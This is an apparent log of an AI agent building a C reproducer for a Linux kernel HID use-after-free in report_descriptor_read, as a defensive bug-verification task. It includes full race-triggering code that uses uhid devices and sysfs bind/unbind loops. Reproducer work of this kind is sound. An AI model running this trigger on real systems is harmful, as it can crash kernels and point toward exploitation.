2488: /* Unitec panels */
2489: { .driver_data = MT_CLS_NSMU,
2490: MT_USB_DEVICE(USB_VENDOR_ID_UNITEC,
2491: USB_DEVICE_ID_UNITEC_USB_TOUCH_0709) },
2492: { .driver_data = MT_CLS_NSMU,
2493: MT_USB_DEVICE(USB_VENDOR_ID_UNITEC,
2494: USB_DEVICE_ID_UNITEC_USB_TOUCH_0A19) },
2495:
2496: /* Uniwill touchpads */
2497: { .driver_data = MT_CLS_WIN_8_KEEP_LATENCY_ON_CLOSE,
2498: HID_DEVICE(BUS_I2C, HID_GROUP_MULTITOUCH_WIN_8,
2499: USB_VENDOR_ID_PIXART, 0x0255) },
2500: { .driver_data = MT_CLS_WIN_8_KEEP_LATENCY_ON_CLOSE,
2501: HID_DEVICE(BUS_I2C, HID_GROUP_MULTITOUCH_WIN_8,
2502: USB_VENDOR_ID_PIXART, 0x0274) },
2503:
2504: /* VTL panels */
2505: { .driver_data = MT_CLS_VTL,
2506: MT_USB_DEVICE(USB_VENDOR_ID_VTL,
2507: USB_DEVICE_ID_VTL_MULTITOUCH_FF3F) },
2508:
2509: /* Winbond Electronics Corp. */
2510: { .driver_data = MT_CLS_WIN_8_NO_STICKY_FINGERS,
2511: HID_DEVICE(HID_BUS_ANY, HID_GROUP_MULTITOUCH_WIN_8,
2512: USB_VENDOR_ID_WINBOND, USB_DEVICE_ID_TSTP_MTOUCH) },
2513:
2514: /* Wistron panels */
2515: { .driver_data = MT_CLS_NSMU,
2516: MT_USB_DEVICE(USB_VENDOR_ID_WISTRON,
2517: USB_DEVICE_ID_WISTRON_OPTICAL_TOUCH) },
2518:
2519: /* XAT */
2520: { .driver_data = MT_CLS_NSMU,
2521: MT_USB_DEVICE(USB_VENDOR_ID_XAT,
2522: USB_DEVICE_ID_XAT_CSR) },
2523:
2524: /* Xiroku */
2525: { .driver_data = MT_CLS_NSMU,
2526: MT_USB_DEVICE(USB_VENDOR_ID_XIROKU,
2527: USB_DEVICE_ID_XIROKU_SPX) },
2528: { .driver_data = MT_CLS_NSMU,
2529: MT_USB_DEVICE(USB_VENDOR_ID_XIROKU,
2530: USB_DEVICE_ID_XIROKU_MPX) },
2531: { .driver_data = MT_CLS_NSMU,
2532: MT_USB_DEVICE(USB_VENDOR_ID_XIROKU,
2533: USB_DEVICE_ID_XIROKU_CSR) },
2534: { .driver_data = MT_CLS_NSMU,
2535: MT_USB_DEVICE(USB_VENDOR_ID_XIROKU,
2536: USB_DEVICE_ID_XIROKU_SPX1) },
2537: { .driver_data = MT_CLS_NSMU,
2538: MT_USB_DEVICE(USB_VENDOR_ID_XIROKU,
2539: USB_DEVICE_ID_XIROKU_MPX1) },
2540: { .driver_data = MT_CLS_NSMU,
2541: MT_USB_DEVICE(USB_VENDOR_ID_XIROKU,
2542: USB_DEVICE_ID_XIROKU_CSR1) },
2543: { .driver_data = MT_CLS_NSMU,
2544: MT_USB_DEVICE(USB_VENDOR_ID_XIROKU,
2545: USB_DEVICE_ID_XIROKU_SPX2) },
2546: { .driver_data = MT_CLS_NSMU,
2547: MT_USB_DEVICE(USB_VENDOR_ID_XIROKU,
2548: USB_DEVICE_ID_XIROKU_MPX2) },
2549: { .driver_data = MT_CLS_NSMU,
2550: MT_USB_DEVICE(USB_VENDOR_ID_XIROKU,
2551: USB_DEVICE_ID_XIROKU_CSR2) },
2552:
2553: /* Apple Touch Bar */
2554: { .driver_data = MT_CLS_APPLE_TOUCHBAR,
2555: HID_USB_DEVICE(USB_VENDOR_ID_APPLE,
2556: USB_DEVICE_ID_APPLE_TOUCHBAR_DISPLAY) },
2557:
2558: /* Google MT devices */
2559: { .driver_data = MT_CLS_GOOGLE,
2560: HID_DEVICE(HID_BUS_ANY, HID_GROUP_ANY, USB_VENDOR_ID_GOOGLE,
2561: USB_DEVICE_ID_GOOGLE_TOUCH_ROSE) },
2562: { .driver_data = MT_CLS_GOOGLE,
2563: HID_DEVICE(BUS_USB, HID_GROUP_MULTITOUCH_WIN_8, USB_VENDOR_ID_GOOGLE,
2564: USB_DEVICE_ID_GOOGLE_WHISKERS) },
2565:
2566: /* sis */
2567: { .driver_data = MT_CLS_SIS,
2568: HID_DEVICE(HID_BUS_ANY, HID_GROUP_ANY, USB_VENDOR_ID_SIS_TOUCH,
2569: HID_ANY_ID) },
2570:
2571: /* Hantick */
2572: { .driver_data = MT_CLS_NSMU,
2573: HID_DEVICE(BUS_I2C, HID_GROUP_MULTITOUCH_WIN_8,
2574: I2C_VENDOR_ID_HANTICK, I2C_PRODUCT_ID_HANTICK_5288) },
2575:
2576: /* Generic MT device */
2577: { HID_DEVICE(HID_BUS_ANY, HID_GROUP_MULTITOUCH, HID_ANY_ID, HID_ANY_ID) },
2578:
2579: /* Generic Win 8 certified MT device */
2580: { .driver_data = MT_CLS_WIN_8,
2581: HID_DEVICE(HID_BUS_ANY, HID_GROUP_MULTITOUCH_WIN_8,
2582: HID_ANY_ID, HID_ANY_ID) },
2583: { }
2584: };
SourceFile:drivers/hid/hid-multitouch.c]
|
| 207/5 |
2026/05/19 10:20 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 81467
output: 41
thoughts: 2096
Thoughts: **My Reasoning for the Reproducer**
Okay, let's break this down. First, I noticed that the `hid-multitouch` driver has a generic match for multitouch devices. I can't directly set the group with `uhid`, but I *can* use specific vendor and product IDs. I'll use `USB_VENDOR_ID_3M` (0x0596) and `USB_DEVICE_ID_3M1968` (0x0500) for this. Since the driver name is `hid-multitouch`, that seems like the perfect combination.
Even if `report_fixup` in `hid-multitouch` only operates for `I2C_VENDOR_ID_GOODIX`, the `hid_open_report` *always* allocates memory if `device->driver->report_fixup` is not NULL. That function pointer is set, so unconditionally allocating memory is exactly what I want. This means the `hid-multitouch` driver is ideal for triggering the vulnerability.
The `mt_probe` calls `hid_hw_start`, which I expect to succeed. Now, I should write the reproducer. I'll create a `uhid` device with the correct vendor and product IDs, bind the `hid-multitouch` driver to it, and trigger the allocation repeatedly through read/unbind/bind loops to hit the race condition with the memory allocation.
I'll account for the possibility of `hid-multitouch` not being loaded. I can simply try binding a range of drivers. The problem, then, is that the `uhid` device needs to match the driver, so I'll create multiple `uhid` devices, one for each driver I want to try. I can loop through a few common drivers.
I've got the logic: multiple `uhid` devices, each with a different vendor/product ID and corresponding driver, then I check which one binds to the device.
|
| 208/5 |
2026/05/19 10:20 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-cherry.c IncludeLines:true Name:ch_devices]
Results: map[SourceCode: 56: static const struct hid_device_id ch_devices[] = {
57: { HID_USB_DEVICE(USB_VENDOR_ID_CHERRY, USB_DEVICE_ID_CHERRY_CYMOTION) },
58: { HID_USB_DEVICE(USB_VENDOR_ID_CHERRY, USB_DEVICE_ID_CHERRY_CYMOTION_SOLAR) },
59: { }
60: };
SourceFile:drivers/hid/hid-cherry.c]
|
| 209/5 |
2026/05/19 10:20 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 84171
output: 16
thoughts: 1795
Thoughts: **Reproducing the Race Condition**
Okay, so I'm looking at this code and immediately keying in on these target device IDs: `0x046a` and `0x0023`. Yes, this is the Cherry keyboard.
My thought process is this: I need a reliable way to reproduce this race condition. The code sets up a loop. Let's iterate through the devices defined in `target_devices`, specifically the Cherry keyboard. The goal is to bind a UHID device to a target HID driver, and then exploit a race condition between reading the report descriptor and unbinding/rebinding the device.
First, I create a UHID device using `/dev/uhid`, configuring it to match one of the target devices, the Cherry keyboard. Then, I search for the corresponding device entry under `/sys/bus/hid/devices`. This loop with the `usleep` calls is very robust. It's designed to handle scenarios where the device isn't immediately registered.
Next, I need to open the `bind` and `unbind` files for the appropriate HID driver (like `cherry`). If that succeeds, I've found a suitable target, and the core of the race can begin. If no driver works, I'll `destroy` the UHID device and start again.
Now, once I have a driver bound, I need to open the `report_descriptor` file for the chosen device under `/sys/bus/hid/devices`. This is the crucial resource that's going to be raced. Again, the loop and the `usleep` are there to handle potential delays. Then, I launch a read thread that continuously reads from the `report_descriptor`. The bind thread is set up to `unbind` and `bind` the device repeatedly. This should cause the race condition to trigger in the kernel.
Finally, I give the threads a little bit of time, 10 seconds, to do their work. Then, I set the `stop` flag to terminate the threads gracefully, and close all resources, including the UHID device and the file descriptors.
|
| 210/5 |
2026/05/19 10:20 |
tool |
get-toolkit |
0m
Args:
Results: map[Toolkit:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
]
|
| 211/5 |
2026/05/19 10:20 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 87691
output: 1958
thoughts: 11
Thoughts: Okay, here's my interpretation of those thoughts, tailored for an expert audience, and delivered as a first-person summary:
**The Reproducer is Ready: Time to Deliver**
Alright, the reproducer is complete. After meticulously crafting the setup, ensuring the right dependencies are in place, and carefully documenting each step, I'm confident it's now capable of consistently and accurately demonstrating the issue at hand. It’s reached the point where I can confidently put my stamp on it, so to speak. There are no loose ends remaining that I can see, nor does it have any elements that will confuse the process. Now, it's time to package it up and hand it over. My focus shifts from the internal workings to the act of dissemination.
|
| 212/3 |
2026/05/19 10:21 |
action |
merge-strategy |
0m
Results: map[CurrentReproStrategy:An analysis of the previous failure shows that the `hid-lg` driver explicitly checks if the device is a USB device (`hid_is_usb()`) during probe. Since we are creating a virtual device via `uhid`, this check fails, the driver refuses to bind, and the race condition is never reached.
To trigger the Use-After-Free, we need a driver that:
1. Implements the `report_fixup` callback (which causes `hid_open_report()` to dynamically allocate `hdev->rdesc`).
2. Does NOT check `hid_is_usb()` during probe, allowing it to bind to a `uhid` device.
Drivers like `hid-apple`, `hid-logitech-hidpp`, `hid-multitouch`, and `hid-cherry` fit these criteria perfectly. The following reproducer creates multiple `uhid` devices with Vendor/Product IDs corresponding to these drivers. It then scans sysfs to find which driver successfully bound to the device. Once a suitable driver is found, it launches the race: multiple threads repeatedly reading the `report_descriptor` sysfs file while another thread continuously unbinds and binds the driver.
### C Reproducer
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <linux/uhid.h>
#include <sys/stat.h>
#include <sys/types.h>
#include "race_toolkit.h"
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
struct {
int vendor;
int product;
const char *driver;
} target_devices[] = {
{ 0x05ac, 0x0304, "apple" }, // hid-apple
{ 0x046d, 0xc082, "logitech-hidpp" }, // hid-logitech-hidpp
{ 0x0596, 0x0500, "hid-multitouch" }, // hid-multitouch
{ 0x046a, 0x0023, "cherry" } // hid-cherry
};
int target_idx = -1;
void create_uhid(int idx) {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
perror("open uhid");
exit(1);
}
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
sprintf((char*)ev.u.create2.name, "test-uhid-%d", idx);
ev.u.create2.rd_size = 85;
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = target_devices[idx].vendor;
ev.u.create2.product = target_devices[idx].product;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
perror("write uhid");
exit(1);
}
}
void find_dev_name(int idx) {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) return;
struct dirent *ent;
char search[32];
sprintf(search, "0003:%04X:%04X", target_devices[idx].vendor, target_devices[idx].product);
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, search)) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
write(unbind_fd, dev_name, len);
write(bind_fd, dev_name, len);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
int bind_fd = -1, unbind_fd = -1;
for (int i = 0; i < 4; i++) {
create_uhid(i);
dev_name[0] = '\0';
for (int j = 0; j < 20; j++) {
find_dev_name(i);
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] != '\0') {
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/drivers/%s/bind", target_devices[i].driver);
bind_fd = open(path, O_WRONLY);
snprintf(path, sizeof(path), "/sys/bus/hid/drivers/%s/unbind", target_devices[i].driver);
unbind_fd = open(path, O_WRONLY);
if (bind_fd >= 0 && unbind_fd >= 0) {
target_idx = i;
break;
}
if (bind_fd >= 0) close(bind_fd);
if (unbind_fd >= 0) close(unbind_fd);
}
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
}
if (target_idx == -1) {
fprintf(stderr, "No suitable device/driver found.\n");
return 1;
}
printf("Using driver %s with device %s\n", target_devices[target_idx].driver, dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
perror("open report_descriptor");
return 1;
}
int fds[2] = {bind_fd, unbind_fd};
pthread_t t_read[4];
pthread_t t_bind;
for (int i = 0; i < 4; i++) {
pthread_create(&t_read[i], NULL, read_thread, &fd);
}
pthread_create(&t_bind, NULL, bind_thread, fds);
sleep(10); // Allow time for the race to trigger KASAN
stop = 1;
for (int i = 0; i < 4; i++) {
pthread_join(t_read[i], NULL);
}
pthread_join(t_bind, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
printf("[+] Done\n");
return 0;
}
```]
|
| 213/3 |
2026/05/19 10:21 |
agent |
repro-generator |
1m
Model:
Results: map[RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <linux/uhid.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <errno.h>
#include "race_toolkit.h"
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
struct {
int vendor;
int product;
const char *driver;
} target_devices[] = {
{ 0x05ac, 0x0304, "apple" }, // hid-apple
{ 0x046d, 0xc082, "logitech-hidpp" }, // hid-logitech-hidpp
{ 0x0596, 0x0500, "hid-multitouch" }, // hid-multitouch
{ 0x046a, 0x0023, "cherry" } // hid-cherry
};
int target_idx = -1;
void create_uhid(int idx) {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
printf("[-] Failed to open /dev/uhid: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /dev/uhid successfully.\n");
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
sprintf((char*)ev.u.create2.name, "test-uhid-%d", idx);
ev.u.create2.rd_size = 85;
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = target_devices[idx].vendor;
ev.u.create2.product = target_devices[idx].product;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] Failed to write UHID_CREATE2: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created uhid device %d successfully.\n", idx);
}
void find_dev_name(int idx) {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) {
printf("[-] Failed to open /sys/bus/hid/devices: %s\n", strerror(errno));
return;
}
struct dirent *ent;
char search[32];
sprintf(search, "0003:%04X:%04X", target_devices[idx].vendor, target_devices[idx].product);
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, search)) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
if (write(unbind_fd, dev_name, len) < 0) {
// Ignore errors as it might already be unbound
}
if (write(bind_fd, dev_name, len) < 0) {
// Ignore errors as it might already be bound
}
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
int bind_fd = -1, unbind_fd = -1;
for (int i = 0; i < 4; i++) {
create_uhid(i);
dev_name[0] = '\0';
for (int j = 0; j < 20; j++) {
find_dev_name(i);
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] != '\0') {
printf("[+] Found device name: %s\n", dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/drivers/%s/bind", target_devices[i].driver);
bind_fd = open(path, O_WRONLY);
snprintf(path, sizeof(path), "/sys/bus/hid/drivers/%s/unbind", target_devices[i].driver);
unbind_fd = open(path, O_WRONLY);
if (bind_fd >= 0 && unbind_fd >= 0) {
target_idx = i;
printf("[+] Successfully opened bind and unbind files for driver %s.\n", target_devices[i].driver);
break;
} else {
printf("[-] Failed to open bind/unbind for driver %s.\n", target_devices[i].driver);
}
if (bind_fd >= 0) close(bind_fd);
if (unbind_fd >= 0) close(unbind_fd);
} else {
printf("[-] Device name not found for index %d.\n", i);
}
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] Failed to write UHID_DESTROY: %s\n", strerror(errno));
}
close(uhid_fd);
}
if (target_idx == -1) {
printf("[-] No suitable device/driver found.\n");
return 1;
}
printf("[+] Using driver %s with device %s\n", target_devices[target_idx].driver, dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
printf("[-] Failed to open report_descriptor: %s\n", strerror(errno));
return 1;
}
printf("[+] Opened report_descriptor successfully.\n");
int fds[2] = {bind_fd, unbind_fd};
pthread_t t_read[4];
pthread_t t_bind;
for (int i = 0; i < 4; i++) {
if (pthread_create(&t_read[i], NULL, read_thread, &fd) != 0) {
printf("[-] Failed to create read thread %d\n", i);
return 1;
}
}
printf("[+] Created read threads.\n");
if (pthread_create(&t_bind, NULL, bind_thread, fds) != 0) {
printf("[-] Failed to create bind thread\n");
return 1;
}
printf("[+] Created bind thread.\n");
printf("[+] Waiting for 10 seconds to trigger race...\n");
sleep(10);
stop = 1;
for (int i = 0; i < 4; i++) {
pthread_join(t_read[i], NULL);
}
pthread_join(t_bind, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
printf("[+] Done\n");
return 0;
}
]
Instruction: You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program to REPRODUCE a specific kernel bug
for the purpose of VERIFYING a bugfix.
This is a strictly defensive task. The code will be run in an isolated QEMU virtual machine
to check if the bug is triggered or not.
Do NOT generate an exploit or weaponized code. Generate only the minimal code needed to trigger
the specific crash or condition described, to help developers confirm the bug and its fix.
Focus on the technical reproduction of the state, not on weaponization or payload delivery.
Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.
To ensure that we can diagnose why a reproducer might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful
major step in the reproduction sequence.
5. Generate code that follows this pattern for all operations:
int res = do_something();
if (res < 0) {
printf("[-] Failed to do_something: %s\n", strerror(errno));
exit(1);
}
printf("[+] do_something successful.\n");
6. For the very first attempt at generating a reproducer (when no previous feedback is provided),
prioritize generating a simple 'probe' program. This program's sole purpose is to verify that the
test environment has the necessary kernel capabilities. It should focus on probing the specific
kernel subsystems, device files, or syscalls required for the reproduction (for example: opening
/dev/vhci to check if the virtual Bluetooth controller is accessible, loading a minimal dummy BPF
program to check if BPF_SYSCALL is enabled and permitted, or making a specific socket/ioctl call
to verify subsystem availability). Print clear messages indicating success or failure of these
specific kernel/subsystem probes, and exit with 0 only if all relevant subsystem checks pass.
Do not attempt complex race conditions or heavy logic in this first version.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: KASAN: slab-use-after-free Read in report_descriptor_read
==================================================================
BUG: KASAN: slab-use-after-free in report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
Read of size 36 at addr ffff888037dd9b80 by task fido_id/24047
CPU: 0 UID: 0 PID: 24047 Comm: fido_id Tainted: G L syzkaller #0 PREEMPT(full)
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/18/2026
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:-1 [inline]
kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
__asan_memcpy+0x29/0x70 mm/kasan/shadow.c:105
report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
kernfs_file_read_iter fs/kernfs/file.c:269 [inline]
kernfs_fop_read_iter+0x451/0x6b0 fs/kernfs/file.c:298
new_sync_read fs/read_write.c:493 [inline]
vfs_read+0x582/0xa70 fs/read_write.c:574
ksys_read+0x150/0x270 fs/read_write.c:717
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f1e05ca7407
Code: 48 89 fa 4c 89 df e8 38 aa 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
RSP: 002b:00007fff31799f60 EFLAGS: 00000202 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f1e0644b880 RCX: 00007f1e05ca7407
RDX: 0000000000001000 RSI: 00007fff31799fb0 RDI: 0000000000000004
RBP: 0000563577cf9730 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000202 R12: 0000563577cf8930
R13: 00007fff31799fb0 R14: 0000000000000004 R15: 00005635507dc4d8
</TASK>
Allocated by task 19335:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
__kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
kasan_kmalloc include/linux/kasan.h:263 [inline]
__do_kmalloc_node mm/slub.c:5295 [inline]
__kmalloc_node_track_caller_noprof+0x4db/0x7b0 mm/slub.c:5407
kmemdup_noprof+0x2b/0x70 mm/util.c:138
kmemdup_noprof include/linux/fortify-string.h:763 [inline]
hid_open_report+0x1f7/0xf00 drivers/hid/hid-core.c:1376
hid_parse include/linux/hid.h:1206 [inline]
lg_probe+0x29c/0x8a0 drivers/hid/hid-lg.c:783
__hid_device_probe drivers/hid/hid-core.c:2822 [inline]
hid_device_probe+0x416/0x7a0 drivers/hid/hid-core.c:2859
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
hid_add_device+0x272/0x3e0 drivers/hid/hid-core.c:3003
usbhid_probe+0xbab/0x1080 drivers/hid/usbhid/hid-core.c:1449
usb_probe_interface+0x659/0xc70 drivers/usb/core/driver.c:396
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
usb_set_configuration+0x1a87/0x2110 drivers/usb/core/message.c:2268
usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
usb_probe_device+0x1c4/0x3b0 drivers/usb/core/driver.c:291
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
usb_new_device+0xa08/0x16f0 drivers/usb/core/hub.c:2695
hub_port_connect drivers/usb/core/hub.c:5567 [inline]
hub_port_connect_change drivers/usb/core/hub.c:5707 [inline]
port_event drivers/usb/core/hub.c:5871 [inline]
hub_event+0x2a1c/0x4f30 drivers/usb/core/hub.c:5953
process_one_work kernel/workqueue.c:3314 [inline]
